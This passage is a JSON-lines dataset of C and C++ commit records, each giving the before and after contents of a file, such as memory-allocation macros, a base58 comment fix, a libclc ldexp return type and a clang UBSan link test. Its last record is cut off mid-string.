{"commit":"175264adfef6d6e050c2ca7caf5e8afddefeceb7","old_file":"src\/Core\/RAlloc.h","new_file":"src\/Core\/RAlloc.h","old_contents":"#ifndef RUTIL2_RALLOC_H\n#define RUTIL2_RALLOC_H\n\n#include \"OO.h\"\n\nvoid* RAlloc(int Size);\nvoid* RAlign(int Align, int Size);\n\n#if defined(__MINGW32__)\n#define _aligned_malloc __mingw_aligned_malloc\n#define _aligned_free  __mingw_aligned_free\n#define memalign(align, size) _aligned_malloc(size, align)\n#endif \/\/For MinGW\n\n#define RFree(...) __RFree(__VA_ARGS__, (void*)(- 1))\nvoid __RFree(void* a, ...);\n\n#define RAlloc_Class(Name, Size) \\\n    (Name*)__RAlloc_Class(Size, sizeof(Name), _C(__ClassID_, Name, __));\nvoid* __RAlloc_Class(int Size, int UnitSize, int ClassID);\n\n#if 0\n#include \"_RAlloc.h\"\n#endif\n#ifdef __RUtil2_Install\n#define _RTAddress \"RUtil2\/Core\/_RAlloc.h\"\n#else\n#define _RTAddress \"Core\/_RAlloc.h\"\n#endif\n\n#define _ClassName\n#define _Attr 1\n\n#include \"Include_T1AllTypes.h\"\n\n#endif \/\/RUTIL2_RALLOC_H\n\n","new_contents":"#ifndef RUTIL2_RALLOC_H\n#define RUTIL2_RALLOC_H\n\n#include <memory.h>\n\n#include \"OO.h\"\n\nvoid* RAlloc(int Size);\nvoid* RAlign(int Align, int Size);\n\n#if defined(__MINGW32__)\n#define _aligned_malloc __mingw_aligned_malloc\n#define _aligned_free  __mingw_aligned_free\n#define memalign(align, size) _aligned_malloc(size, align)\n#endif \/\/For MinGW\n\n#define RClean(Ptr) memset(Ptr, 0, sizeof(Ptr));\n\n#define RFree(...) __RFree(__VA_ARGS__, (void*)(- 1))\nvoid __RFree(void* a, ...);\n\n#define RAlloc_Class(Name, Size) \\\n    (Name*)__RAlloc_Class(Size, sizeof(Name), _C(__ClassID_, Name, __));\nvoid* __RAlloc_Class(int Size, int UnitSize, int ClassID);\n\n#if 0\n#include \"_RAlloc.h\"\n#endif\n#ifdef __RUtil2_Install\n#define _RTAddress \"RUtil2\/Core\/_RAlloc.h\"\n#else\n#define _RTAddress \"Core\/_RAlloc.h\"\n#endif\n\n#define _ClassName\n#define _Attr 1\n\n#include \"Include_T1AllTypes.h\"\n\n#endif \/\/RUTIL2_RALLOC_H\n\n","subject":"Add method 'RClean' for clean memory","message":"Add method 'RClean' for clean memory\n","lang":"C","license":"mit","repos":"Icenowy\/RUtil2,Rocaloid\/RUtil2,Rocaloid\/RUtil2,Icenowy\/RUtil2,Icenowy\/RUtil2,Rocaloid\/RUtil2"}
{"commit":"f7daed906287e6141ea04a1097672a544765f105","old_file":"src\/qt\/bitcoinaddressvalidator.h","new_file":"src\/qt\/bitcoinaddressvalidator.h","old_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base48 entry widget validator.\n   Corrects near-miss characters and refuses characters that are no part of base48.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","new_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base58 entry widget validator.\n   Corrects near-miss characters and refuses characters that are not part of base58.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","subject":"Fix typo in a comment: it's base58, not base48.","message":"Fix typo in a comment: it's base58, not base48.\n","lang":"C","license":"mit","repos":"Checkcoin\/checkcoin,zemrys\/vertcoin,KaSt\/equikoin,bitgoldcoin-project\/bitgoldcoin,Coinfigli\/coinfigli,privatecoin\/privatecoin,coinkeeper\/2015-06-22_18-51_vertcoin,ohac\/sakuracoin,gwangjin2\/gwangcoin-core,coinkeeper\/2015-04-19_21-20_litecoindark,brightcoin\/brightcoin,Czarcoin\/czarcoin,kryptokredyt\/ProjektZespolowyCoin,degenorate\/Deftcoin,chrisfranko\/aiden,Rav3nPL\/doubloons-08,bitgoldcoin-project\/bitgoldcoin,coinkeeper\/2015-04-19_21-20_litecoindark,marscoin\/marscoin,coinkeeper\/2015-06-22_18-46_razor,DrCrypto\/darkcoin,zzkt\/solarcoin,Ziftr\/litecoin,shadowoneau\/ozcoin,scamcoinz\/scamcoin,netswift\/vertcoin,icook\/vertcoin,oklink-dev\/litecoin_block,mooncoin-project\/mooncoin-landann,Electronic-Gulden-Foundation\/egulden,mrtexaznl\/mediterraneancoin,IlfirinIlfirin\/shavercoin,greencoin-dev\/greencoin-dev,dakk\/soundcoin,oklink-dev\/litecoin_block,zebrains\/Blotter,IlfirinCano\/shavercoin,earthcoinproject\/earthcoin,Dajackal\/Ronpaulcoin,shadowoneau\/ozcoin,okinc\/litecoin,IlfirinCano\/shavercoin,ronpaulcoin\/ronpaulcoin,oklink-dev\/litecoin_block,ohac\/sakuracoin,CrimeaCoin\/crimeacoin,Electronic-Gulden-Foundation\/egulden,IlfirinCano\/shavercoin,degenorate\/Deftcoin,novaexchange\/EAC,KaSt\/equikoin,KaSt\/equikoin,Litecoindark\/LTCD,Checkcoin\/checkcoin,netswift\/vertcoin,vertcoin\/eyeglass,shurcoin\/shurcoin,wekuiz\/wekoin,ohac\/sha1coin,kryptokredyt\/ProjektZespolowyCoin,ronpaulcoin\/ronpaulcoin,Ziftr\/litecoin,mooncoin-project\/mooncoin-landann,brightcoin\/brightcoin,micryon\/GPUcoin,scamcoinz\/scamcoin,plankton12345\/litecoin,jiffe\/cosinecoin,icook\/vertcoin,cryptcoins\/cryptcoin,Litecoindark\/LTCD,gwangjin2\/gwangcoin-core,ohac\/sha1coin,united-scrypt-coin-project\/unitedscryptcoin,chrisfranko\/aiden,tensaix2j\/bananacoin,ohac\/sha1coin,united-scrypt-coin-project\/unitedscryptcoin,brightcoin\/brightcoin,coinkeeper\/2015-04-19_21-20_litecoindark,bitgoldcoin-project\/bitgoldcoin,plankton12345\/litecoin,Ziftr\/litecoin,shadowoneau\/ozcoin,novaexchange\/EAC,Ziftr\/litecoin,cryptcoins\/cryptcoin,Litecoindark\/LTCD,bootycoin-project\/bootycoin,privatecoin\/privatecoin,zebrains\/Blotter,IlfirinCano\/shavercoin,shadowoneau\/ozcoin,Tetcoin\/tetcoin,Coinfigli\/coinfigli,bitgoldcoin-project\/bitgoldcoin,ohac\/sakuracoin,neutrinofoundation\/neutrino-digital-currency,DrCrypto\/darkcoin,stamhe\/litecoin,micryon\/GPUcoin,tensaix2j\/bananacoin,Czarcoin\/czarcoin,richo\/dongcoin,scamcoinz\/scamcoin,ccoin-project\/ccoin,gwangjin2\/gwangcoin-core,coinkeeper\/2015-04-19_21-20_litecoindark,mrtexaznl\/mediterraneancoin,Litecoindark\/LTCD,brightcoin\/brightcoin,ANCompany\/birdcoin-dev,netswift\/vertcoin,plankton12345\/litecoin,zemrys\/vertcoin,scamcoinz\/scamcoin,tensaix2j\/bananacoin,okinc\/litecoin,Dajackal\/Ronpaulcoin,neutrinofoundation\/neutrino-digital-currency,shurcoin\/shurcoin,zebrains\/Blotter,tensaix2j\/bananacoin,dakk\/soundcoin,jiffe\/cosinecoin,IlfirinIlfirin\/shavercoin,coinkeeper\/2015-06-22_18-46_razor,coinkeeper\/2015-06-22_18-46_razor,marscoin\/marscoin,razor-coin\/razor,earthcoinproject\/earthcoin,coinkeeper\/2015-06-22_18-46_razor,netswift\/vertcoin,privatecoin\/privatecoin,Electronic-Gulden-Foundation\/egulden,marscoin\/marscoin,brishtiteveja\/sherlockholmescoin,Dajackal\/Ronpaulcoin,bootycoin-project\/bootycoin,Rav3nPL\/doubloons-08,neutrinofoundation\/neutrino-digital-currency,oklink-dev\/litecoin_block,alexandrcoin\/vertcoin,okinc\/litecoin,mooncoin-project\/mooncoin-landann,brishtiteveja\/sherlockholmescoin,ANCompany\/birdcoin-dev,coinkeeper\/2015-06-22_19-13_florincoin,Dajackal\/Ronpaulcoin,greencoin-dev\/greencoin-dev,Czarcoin\/czarcoin,KaSt\/equikoin,coinkeeper\/2015-06-22_19-13_florincoin,razor-coin\/razor,Coinfigli\/coinfigli,gwangjin2\/gwangcoin-core,coinkeeper\/2015-06-22_19-13_florincoin,shadowoneau\/ozcoin,coinkeeper\/2015-06-22_19-13_florincoin,koharjidan\/litecoin,shapiroisme\/datadollar,Cancercoin\/Cancercoin,vertcoin\/eyeglass,privatecoin\/privatecoin,IlfirinIlfirin\/shavercoin,jiffe\/cosinecoin,razor-coin\/razor,Tetcoin\/tetcoin,zebrains\/Blotter,vertcoin\/eyeglass,Coinfigli\/coinfigli,koharjidan\/litecoin,richo\/dongcoin,alexandrcoin\/vertcoin,razor-coin\/razor,koharjidan\/litecoin,micryon\/GPUcoin,Tetcoin\/tetcoin,shurcoin\/shurcoin,brishtiteveja\/sherlockholmescoin,stamhe\/litecoin,brishtiteveja\/sherlockholmescoin,ohac\/sha1coin,vertcoin\/eyeglass,kryptokredyt\/ProjektZespolowyCoin,Cancercoin\/Cancercoin,coinkeeper\/2015-06-22_18-51_vertcoin,ccoin-project\/ccoin,earthcoinproject\/earthcoin,zzkt\/solarcoin,marscoin\/marscoin,koharjidan\/litecoin,richo\/dongcoin,DrCrypto\/darkcoin,brishtiteveja\/sherlockholmescoin,novaexchange\/EAC,vertcoin\/eyeglass,kryptokredyt\/ProjektZespolowyCoin,chrisfranko\/aiden,bitgoldcoin-project\/bitgoldcoin,shurcoin\/shurcoin,degenorate\/Deftcoin,kryptokredyt\/ProjektZespolowyCoin,plankton12345\/litecoin,cryptcoins\/cryptcoin,alexandrcoin\/vertcoin,coinkeeper\/2015-06-22_18-51_vertcoin,CrimeaCoin\/crimeacoin,Ziftr\/litecoin,richo\/dongcoin,Tetcoin\/tetcoin,degenorate\/Deftcoin,micryon\/GPUcoin,chrisfranko\/aiden,united-scrypt-coin-project\/unitedscryptcoin,koharjidan\/litecoin,Cancercoin\/Cancercoin,icook\/vertcoin,zzkt\/solarcoin,Checkcoin\/checkcoin,ohac\/sakuracoin,united-scrypt-coin-project\/unitedscryptcoin,novaexchange\/EAC,greencoin-dev\/greencoin-dev,mrtexaznl\/mediterraneancoin,richo\/dongcoin,shapiroisme\/datadollar,alexandrcoin\/vertcoin,stamhe\/litecoin,chrisfranko\/aiden,CrimeaCoin\/crimeacoin,DrCrypto\/darkcoin,cryptcoins\/cryptcoin,coinkeeper\/2015-06-22_18-46_razor,neutrinofoundation\/neutrino-digital-currency,cryptcoins\/cryptcoin,bootycoin-project\/bootycoin,plankton12345\/litecoin,earthcoinproject\/earthcoin,marscoin\/marscoin,Rav3nPL\/doubloons-08,zebrains\/Blotter,shurcoin\/shurcoin,ANCompany\/birdcoin-dev,oklink-dev\/litecoin_block,Rav3nPL\/doubloons-08,zemrys\/vertcoin,Electronic-Gulden-Foundation\/egulden,IlfirinIlfirin\/shavercoin,greencoin-dev\/greencoin-dev,Electronic-Gulden-Foundation\/egulden,shapiroisme\/datadollar,CrimeaCoin\/crimeacoin,zzkt\/solarcoin,zzkt\/solarcoin,Czarcoin\/czarcoin,coinkeeper\/2015-06-22_18-51_vertcoin,gwangjin2\/gwangcoin-core,netswift\/vertcoin,IlfirinIlfirin\/shavercoin,dakk\/soundcoin,ANCompany\/birdcoin-dev,mooncoin-project\/mooncoin-landann,wekuiz\/wekoin,united-scrypt-coin-project\/unitedscryptcoin,coinkeeper\/2015-06-22_18-51_vertcoin,dakk\/soundcoin,okinc\/litecoin,coinkeeper\/2015-04-19_21-20_litecoindark,Rav3nPL\/doubloons-08,netswift\/vertcoin,shapiroisme\/datadollar,Cancercoin\/Cancercoin,wekuiz\/wekoin,earthcoinproject\/earthcoin,ronpaulcoin\/ronpaulcoin,Electronic-Gulden-Foundation\/egulden,Litecoindark\/LTCD,stamhe\/litecoin,Checkcoin\/checkcoin,zemrys\/vertcoin,Tetcoin\/tetcoin,ohac\/sha1coin,okinc\/litecoin,wekuiz\/wekoin,ccoin-project\/ccoin,ohac\/sakuracoin,novaexchange\/EAC,dakk\/soundcoin,ronpaulcoin\/ronpaulcoin,shapiroisme\/datadollar,zemrys\/vertcoin,mrtexaznl\/mediterraneancoin,razor-coin\/razor,mooncoin-project\/mooncoin-landann,Cancercoin\/Cancercoin,koharjidan\/litecoin,CrimeaCoin\/crimeacoin,degenorate\/Deftcoin,brightcoin\/brightcoin,greencoin-dev\/greencoin-dev,marscoin\/marscoin,IlfirinCano\/shavercoin,ccoin-project\/ccoin,Czarcoin\/czarcoin,ronpaulcoin\/ronpaulcoin,scamcoinz\/scamcoin,zemrys\/vertcoin,icook\/vertcoin,privatecoin\/privatecoin,bootycoin-project\/bootycoin,micryon\/GPUcoin,ANCompany\/birdcoin-dev,Dajackal\/Ronpaulcoin,icook\/vertcoin,Coinfigli\/coinfigli,KaSt\/equikoin,tensaix2j\/bananacoin,wekuiz\/wekoin,jiffe\/cosinecoin,bootycoin-project\/bootycoin,Checkcoin\/checkcoin,mrtexaznl\/mediterraneancoin,coinkeeper\/2015-06-22_19-13_florincoin"}
{"commit":"50d89048e3f9f8e98f0bcaa813bd87a1517e6d05","old_file":"Cutelyst\/cutelyst_global.h","new_file":"Cutelyst\/cutelyst_global.h","old_contents":"#ifndef CUTELYST_GLOBAL_H\n#define CUTELYST_GLOBAL_H\n\n#include <QtCore\/QtGlobal>\n\n#if defined(CUTELYST_LIBRARY)\n#  define CUTELYST_LIBRARY Q_DECL_EXPORT\n#else\n#  define CUTELYST_LIBRARY Q_DECL_IMPORT\n#endif\n\n#endif \/\/ CUTELYST_GLOBAL_H\n\n","new_contents":"#ifndef CUTELYST_GLOBAL_H\n#define CUTELYST_GLOBAL_H\n\n#include <QtCore\/QtGlobal>\n\n\/\/ defined by cmake when building this library\n#if defined(cutelyst_qt5_EXPORTS)\n#  define CUTELYST_LIBRARY Q_DECL_EXPORT\n#else\n#  define CUTELYST_LIBRARY Q_DECL_IMPORT\n#endif\n\n#endif \/\/ CUTELYST_GLOBAL_H\n\n","subject":"Make sure export macro is properly set","message":"Make sure export macro is properly set\n","lang":"C","license":"bsd-3-clause","repos":"simonaw\/cutelyst,cutelyst\/cutelyst,buschmann23\/cutelyst,buschmann23\/cutelyst,cutelyst\/cutelyst,cutelyst\/cutelyst,buschmann23\/cutelyst,simonaw\/cutelyst"}
{"commit":"1f2d0a53e4be19d374b02ac85442ba8ebe20ff30","old_file":"engine\/include\/graphics\/Vertex.h","new_file":"engine\/include\/graphics\/Vertex.h","old_contents":"\/*\n * Copyright (c) 2017 Lech Kulina\n *\n * This file is part of the Realms Of Steel.\n * For conditions of distribution and use, see copyright details in the LICENSE file.\n *\/\n#ifndef ROS_VERTEX_H\n#define ROS_VERTEX_H\n\n#include <glm\/vec2.hpp>\n#include <glm\/vec3.hpp>\n#include <glm\/vec4.hpp>\n#include <core\/Common.h>\n#include <core\/Environment.h>\n\nnamespace ros {\n    struct ROS_API Vertex {\n        glm::vec3 position;\n        glm::vec3 normal;\n        glm::vec3 tangent;\n        glm::vec3 bitangent;\n        glm::vec2 textureCoordinates;\n        glm::vec4 color;\n    };\n\n    typedef std::vector<Vertex> VertexVector;\n    typedef std::vector<U32> IndexVector;\n}\n\n#endif \/\/ ROS_VERTEX_H\n\n","new_contents":"\/*\n * Copyright (c) 2017 Lech Kulina\n *\n * This file is part of the Realms Of Steel.\n * For conditions of distribution and use, see copyright details in the LICENSE file.\n *\/\n#ifndef ROS_VERTEX_H\n#define ROS_VERTEX_H\n\n#include <glm\/vec2.hpp>\n#include <glm\/vec3.hpp>\n#include <glm\/vec4.hpp>\n#include <core\/Common.h>\n#include <core\/Environment.h>\n\nnamespace ros {\n    struct ROS_API Vertex {\n        static const U32 MAX_COLORS = 3;\n        static const U32 MAX_TEXTURE_COORDS = 3;\n\n        glm::vec4 colors[MAX_COLORS];\n        glm::vec3 textureCoords[MAX_TEXTURE_COORDS];\n        glm::vec3 position;\n        glm::vec3 normal;\n        glm::vec3 tangent;\n        glm::vec3 bitangent;\n    };\n\n    typedef std::vector<Vertex> VerticesVector;\n}\n\n#endif \/\/ ROS_VERTEX_H\n\n","subject":"Support several texture coords and colors per vertex","message":"Support several texture coords and colors per vertex\n","lang":"C","license":"apache-2.0","repos":"lechkulina\/RealmsOfSteel,lechkulina\/RealmsOfSteel"}
{"commit":"3b7b8507444b059534fe4d708ad8fd251b42c0c4","old_file":"ext\/libxml\/ruby_xml_namespaces.h","new_file":"ext\/libxml\/ruby_xml_namespaces.h","old_contents":"\/* $Id: ruby_xml_ns.h 612 2008-11-21 08:01:29Z cfis $ *\/\n\n\/* Please see the LICENSE file for copyright and distribution information *\/\n\n#ifndef __RXML_NAMESPACES__\n#define __RXML_NAMESPACES__\n\nextern VALUE cXMLNamespaces;\n\nvoid ruby_init_xml_namespaces(void);\n#endif\n","new_contents":"\/* $Id: ruby_xml_ns.h 612 2008-11-21 08:01:29Z cfis $ *\/\n\n\/* Please see the LICENSE file for copyright and distribution information *\/\n\n#ifndef __RXML_NAMESPACES__\n#define __RXML_NAMESPACES__\n\nextern VALUE cXMLNamespaces;\n\nvoid rxml_init_namespaces(void);\n#endif\n","subject":"Fix up name of init_namespaces method.","message":"Fix up name of init_namespaces method.\n","lang":"C","license":"mit","repos":"sferik\/libxml-ruby,xml4r\/libxml-ruby,sferik\/libxml-ruby,increments\/libxml-ruby,sferik\/libxml-ruby,increments\/libxml-ruby,sferik\/libxml-ruby,xml4r\/libxml-ruby,sferik\/libxml-ruby,increments\/libxml-ruby,sferik\/libxml-ruby,xml4r\/libxml-ruby"}
{"commit":"9339344aec109c94237278e4544c8111cee6b3f4","old_file":"stdinc\/sys\/mman.h","new_file":"stdinc\/sys\/mman.h","old_contents":"#pragma once\n\n#include <uk\/mman.h>\n\nBEGIN_DECLS\n\nvoid *mmap(void *addr, size_t length, int prot, int flags,\n           int fd, off_t offset);\nint munmap(void *addr, size_t length);\nint mprotect(void *addr, size_t length, int prot);\nint madvise(void *addr, size_t length, int advice);\n\nEND_DECLS\n","new_contents":"#pragma once\n\n#include <sys\/types.h>\n#include <uk\/mman.h>\n\nBEGIN_DECLS\n\nvoid *mmap(void *addr, size_t length, int prot, int flags,\n           int fd, off_t offset);\nint munmap(void *addr, size_t length);\nint mprotect(void *addr, size_t length, int prot);\nint madvise(void *addr, size_t length, int advice);\n\nEND_DECLS\n","subject":"Fix missing dependency on sys\/types.h","message":"stdinc: Fix missing dependency on sys\/types.h\n","lang":"C","license":"mit","repos":"aclements\/sv6,bowlofstew\/sv6,bowlofstew\/sv6,aclements\/sv6,bowlofstew\/sv6,aclements\/sv6,bowlofstew\/sv6,aclements\/sv6,aclements\/sv6,bowlofstew\/sv6"}
{"commit":"7ae7d98acee75625a8eaaa9074b0bc66deda76bd","old_file":"main.c","new_file":"main.c","old_contents":"\/\/\n\/\/ Created by wan on 1\/2\/16.\n\/\/\n#include <stdio.h>\n\nint main(void) {\n    printf(\"Input:\");\n    int a;\n    scanf(\"%d\", &a);\n    if (2016 % a != 0) {\n        printf(\"No way. Exit.\\n\");\n        return 0;\n    }\n    int s = 2016;\n    printf(\"2016 = \");\n    int flag = 0, b;\n    for (b = 1111; b >= 1; b \/= 10) {\n        int t = a * b;\n        for (;;) {\n            if (s >= t) {\n                if (flag == 0)\n                    flag = 1;\n                else\n                    printf(\" + \");\n                printf(\"%d\", t);\n                s -= t;\n            }\n            else\n                break;\n        }\n    }\n    printf(\"\\n\");\n    return 0;\n}\n","new_contents":"\/\/\n\/\/ Created by Hexapetalous on 1\/1\/16.\n\/\/\n#include <stdio.h>\n\nint main(void) {\n    printf(\"Input[1]:\");\n    int a;\n    scanf(\"%d\", &a);\n    printf(\"Input[2]:\");\n    int z;\n    scanf(\"%d\", &z);\n    if (z % a != 0) {\n        printf(\"No way. Exit.\\n\");\n        return 0;\n    }\n    int s = z;\n    printf(\"%d = \", z);\n    int flag = 0, b;\n    for (b = 1; b < s; b = b * 10 + 1)\n        ;\n    for (b \/= 10; b >= 1; b \/= 10) {\n        int t = a * b;\n        for (; s >= t;) {\n            if (flag == 0)\n                flag = 1;\n            else\n                printf(\" + \");\n            printf(\"%d\", t);\n            s -= t;\n        }\n    }\n    printf(\"\\n\");\n    return 0;\n}\n","subject":"Support to division every number.","message":"Support to division every number.\n","lang":"C","license":"mit","repos":"hxptls\/P0000,hxptls\/P0000"}
{"commit":"5e6b427fb951576718f177f837daf81bf02cd721","old_file":"main.c","new_file":"main.c","old_contents":"#include \"scheme.h\"\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n#ifndef DEFAULT_BOOTFILE_PATH\n#  define DEFAULT_BOOTFILE_PATH \".\/shen.boot\"\n#endif\n\nstatic void custom_init(void) {}\n\nint main(int argc, char *argv[]) {\n  int status;\n  char *bfpath = getenv(\"SHEN_BOOTFILE_PATH\");\n\n  if (bfpath == NULL) {\n    bfpath = DEFAULT_BOOTFILE_PATH;\n  }\n\n  if (access(bfpath, F_OK) == -1) {\n    fprintf(stderr, \"ERROR: boot file '%s' doesn't exist or is not readable.\\n\",\n            bfpath);\n    exit(1);\n  }\n\n  Sscheme_init(NULL);\n  Sregister_boot_file(bfpath);\n  Sbuild_heap(NULL, custom_init);\n  status = Sscheme_start(argc + 1, (const char**)argv - 1);\n  Sscheme_deinit();\n\n  exit(status);\n}\n","new_contents":"#include \"scheme.h\"\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <limits.h>\n\n#ifndef DEFAULT_BOOTFILE_PATH\n#  define DEFAULT_BOOTFILE_PATH NULL\n#endif\n\nstatic void custom_init(void) {}\n\nint main(int argc, char *argv[]) {\n  int status;\n  char *bfpath = getenv(\"SHEN_BOOTFILE_PATH\");\n\n  if (bfpath == NULL) {\n    if (DEFAULT_BOOTFILE_PATH != NULL) {\n      bfpath = DEFAULT_BOOTFILE_PATH;\n    } else {\n      char buf[PATH_MAX];\n      char *last_slash;\n\n      realpath(argv[0], buf);\n      last_slash = strrchr(buf, '\/') + 1;\n      strlcpy(last_slash, \"shen.boot\", last_slash - buf);\n      bfpath = buf;\n    }\n  }\n\n  if (access(bfpath, F_OK) == -1) {\n    fprintf(stderr, \"ERROR: boot file '%s' doesn't exist or is not readable.\\n\",\n            bfpath);\n    exit(1);\n  }\n\n  Sscheme_init(NULL);\n  Sregister_boot_file(bfpath);\n  Sbuild_heap(NULL, custom_init);\n  status = Sscheme_start(argc + 1, (const char**)argv - 1);\n  Sscheme_deinit();\n\n  exit(status);\n}\n","subject":"Make it so that if no path for the shen boot file is specified, it is looked at the same directory of the shen-scheme executable","message":"Make it so that if no path for the shen boot file is specified, it is looked at the same directory of the shen-scheme executable\n","lang":"C","license":"bsd-3-clause","repos":"tizoc\/chibi-shen"}
{"commit":"d7579b98bf36dbb78472aabfc269939e646f73bf","old_file":"src\/essentia\/utils\/extractor_freesound\/extractor_version.h","new_file":"src\/essentia\/utils\/extractor_freesound\/extractor_version.h","old_contents":"#ifndef EXTRACTOR_VERSION_H_\n#define EXTRACTOR_VERSION_H_\n\n#define FREESOUND_EXTRACTOR_VERSION \"freesound 2.0\"\n\n#endif \/* EXTRACTOR_VERSION_H_ *\/\n","new_contents":"#ifndef EXTRACTOR_VERSION_H_\n#define EXTRACTOR_VERSION_H_\n\n#define FREESOUND_EXTRACTOR_VERSION \"freesound 0.5\"\n\n#endif \/* EXTRACTOR_VERSION_H_ *\/\n","subject":"Change FreesoundExtractor version to 0.5","message":"Change FreesoundExtractor version to 0.5\n\nAfter discussion (#582) we decided to keep incrementing 0.4\n","lang":"C","license":"agpl-3.0","repos":"MTG\/essentia,carthach\/essentia,carthach\/essentia,MTG\/essentia,carthach\/essentia,MTG\/essentia,carthach\/essentia,carthach\/essentia,MTG\/essentia,MTG\/essentia"}
{"commit":"8ff46ef395b30e1e3f9dd84c08e1b93796ab524d","old_file":"Classes\/AHKNavigationController.h","new_file":"Classes\/AHKNavigationController.h","old_contents":"\/\/  Created by Arkadiusz on 01-04-14.\n\n#import <UIKit\/UIKit.h>\n\n\/\/\/ A UINavigationController subclass allowing the interactive pop gesture when the navigation bar is hidden or a custom back button is used.\n@interface AHKNavigationController : UINavigationController\n\n@end\n","new_contents":"\/\/  Created by Arkadiusz on 01-04-14.\n\n#import <UIKit\/UIKit.h>\n\n\/\/\/ A UINavigationController subclass allowing the interactive pop gesture when the navigation bar is hidden or a custom back button is used.\n@interface AHKNavigationController : UINavigationController\n\n- (void)pushViewController:(UIViewController *)viewController\n                  animated:(BOOL)animated __attribute__((objc_requires_super));\n\n@end\n","subject":"Add warning when a subclass doesn’t call super on pushViewController:animated:","message":"Add warning when a subclass doesn’t call super on pushViewController:animated:\n\nThis method is used for keeping an internal state, so calling super is mandatory.\n","lang":"C","license":"mit","repos":"viccc\/AHKNavigationController,kingiol\/AHKNavigationController,MrAPPs-RSM\/AHKNavigationController,fastred\/AHKNavigationController"}
{"commit":"afe1e6b8d950fe94627a200cf210a1e387c0c4d7","old_file":"generic\/include\/math\/clc_ldexp.h","new_file":"generic\/include\/math\/clc_ldexp.h","old_contents":"_CLC_DEF _CLC_OVERLOAD float __clc_ldexp(float, int);\n\n#ifdef cl_khr_fp64\n  #pragma OPENCL EXTENSION cl_khr_fp64 : enable\n  _CLC_DEF _CLC_OVERLOAD float __clc_ldexp(double, int);\n#endif\n","new_contents":"_CLC_DEF _CLC_OVERLOAD float __clc_ldexp(float, int);\n\n#ifdef cl_khr_fp64\n  #pragma OPENCL EXTENSION cl_khr_fp64 : enable\n  _CLC_DEF _CLC_OVERLOAD double __clc_ldexp(double, int);\n#endif\n","subject":"Fix double precision function return type","message":"ldexp: Fix double precision function return type\n\nFixes ~1200 external calls from nvtpx library.\n\nReviewer: Jeroen Ketema\nSigned-off-by: Jan Vesely <jan.vesely@rutgers.edu>\n\ngit-svn-id: e7f1ab7c2a259259587475a3e7520e757882f167@315170 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc"}
{"commit":"710392d8d8ce1a8938cee441186e5ff699b65973","old_file":"test\/Driver\/ubsan-ld.c","new_file":"test\/Driver\/ubsan-ld.c","old_contents":"","new_contents":"\/\/ Test UndefinedBehaviorSanitizer ld flags.\n\n\/\/ RUN: %clang -fcatch-undefined-behavior %s -### -o %t.o 2>&1 \\\n\/\/ RUN:     -target i386-unknown-linux \\\n\/\/ RUN:     --sysroot=%S\/Inputs\/basic_linux_tree \\\n\/\/ RUN:   | FileCheck --check-prefix=CHECK-LINUX %s\n\/\/ CHECK-LINUX: \"{{.*}}ld{{(.exe)?}}\"\n\/\/ CHECK-LINUX-NOT: \"-lc\"\n\/\/ CHECK-LINUX: libclang_rt.ubsan-i386.a\"\n\/\/ CHECK-LINUX: \"-lpthread\"\n","subject":"Add test for link flags added by -fcatch-undefined-behavior.","message":"Add test for link flags added by -fcatch-undefined-behavior.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@167306 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"bb97296d4b4285e6884e61ceda833af5a453cb91","old_file":"src\/libfuzzymatch\/util.h","new_file":"src\/libfuzzymatch\/util.h","old_contents":"#include <cstdint>\n#include <cstring>\n#include <string>\n#include <vector>\n\n#include \"..\/utf8\/utf8.h\"\n\n\/*\n * Convert UTF-8 string to std::vector<uint32_t>\n *\/\nvoid utf8to32(const std::string &s, std::vector<uint32_t> &vec) {\n\tvec.assign(utf8::distance(s.cbegin(), s.cend()), 0);\n\tutf8::utf8to32(s.cbegin(), s.cend(), vec.data());\n}\n\n\/*\n * Convert UTF-8 C-string to std::vector<uint32_t>\n *\/\nvoid utf8to32(char* const s, std::vector<uint32_t> &vec) {\n\tconst size_t len(strlen(s));\n\tvec.assign(utf8::distance(s, s+len), 0);\n\tutf8::utf8to32(s, s+len, vec.data());\n}\n","new_contents":"#include <cstdint>\n#include <cstring>\n#include <string>\n#include <vector>\n\n#include \"..\/utf8\/utf8.h\"\n\n\/*\n * Convert UTF-8 string to std::vector<uint32_t>\n *\/\nvoid inline utf8to32(const std::string &s, std::vector<uint32_t> &vec) {\n\tvec.assign(utf8::distance(s.cbegin(), s.cend()), 0);\n\tutf8::utf8to32(s.cbegin(), s.cend(), vec.data());\n}\n\n\/*\n * Convert UTF-8 C-string to std::vector<uint32_t>\n *\/\nvoid inline utf8to32(char* const s, std::vector<uint32_t> &vec) {\n\tconst size_t len(strlen(s));\n\tvec.assign(utf8::distance(s, s+len), 0);\n\tutf8::utf8to32(s, s+len, vec.data());\n}\n","subject":"Use inline as a workaround so that the utf8 